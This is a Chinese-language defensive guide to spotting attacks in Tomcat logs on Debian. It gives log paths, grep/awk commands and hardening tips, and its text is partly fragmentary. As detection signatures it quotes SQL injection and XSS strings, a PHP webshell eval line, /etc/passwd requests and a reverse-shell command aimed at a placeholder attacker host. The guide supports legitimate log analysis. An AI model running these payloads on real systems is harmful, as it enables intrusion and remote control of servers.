Debian系统中,Tomcat的日志文件主要分布在以下路径:
/var/log/tomcat*/localhost_access_log.*.txt(记录所有HTTP请求的详细信息,如IP、时间、方法、URL、状态码);/var/log/tomcat*/catalina.out或/var/log/tomcat*/localhost.<date>.log(记录服务器运行错误、异常堆栈等信息);/WEB-INF/logs/),需检查应用部署目录下的日志文件。结合grep、awk等命令,可高效提取日志中的异常信息:
grep查找包含“error”“exception”“sql”“xss”“eval”等关键字的行(如grep -i "error\|exception" /var/log/tomcat*/catalina.out);awk提取访问日志中的IP地址,统计每个IP的请求次数,识别高频访问的异常IP(如awk '{print $1}' /var/log/tomcat*/localhost_access_log.*.txt | sort | uniq -c | sort -nr);tail -f命令实时查看日志输出,及时捕获正在进行的攻击(如tail -f /var/log/tomcat*/catalina.out)。不同类型的恶意攻击在日志中会留下独特的痕迹,需重点关注以下特征:
and 1=1、union select、from information_schema等SQL语句片段(如SELECT * FROM users WHERE username='admin' AND 1=1--');<script>标签、onerror=alert()等恶意脚本代码(如<script>alert('XSS')</script>);/bin/bash、certutil)或反弹Shell语句(如bash -i >& /dev/tcp/attacker_ip/4444 0>&1);/admin.php、/shell.jsp),并包含eval、base64_decode等函数调用(如eval($_POST['cmd']));web.config、/etc/passwd、.bak等敏感文件(如GET /etc/passwd HTTP/1.1);%3Cscript%3E解码为<script>)、Base64编码(PHNjcmlwdD4=解码为<script>)、十六进制编码(\x61解码为a)、Unicode编码(\u7F16\u7801解码为“编码”)隐藏恶意意图。200(请求成功,可能表示攻击Payload被执行)、302(重定向,可能用于隐藏攻击痕迹)、500(服务器错误,可能表示攻击触发了异常)等状态码;You have an error in your SQL syntax)、敏感数据(如用户密码)或脚本执行结果(如<script>标签渲染的内容),则说明攻击可能已成功。对于大规模日志,可使用以下工具进行自动化分析:
server.xml限制对敏感路径(如/manager/html)的访问,仅允许可信IP访问;autoDeploy="false"),减少攻击面;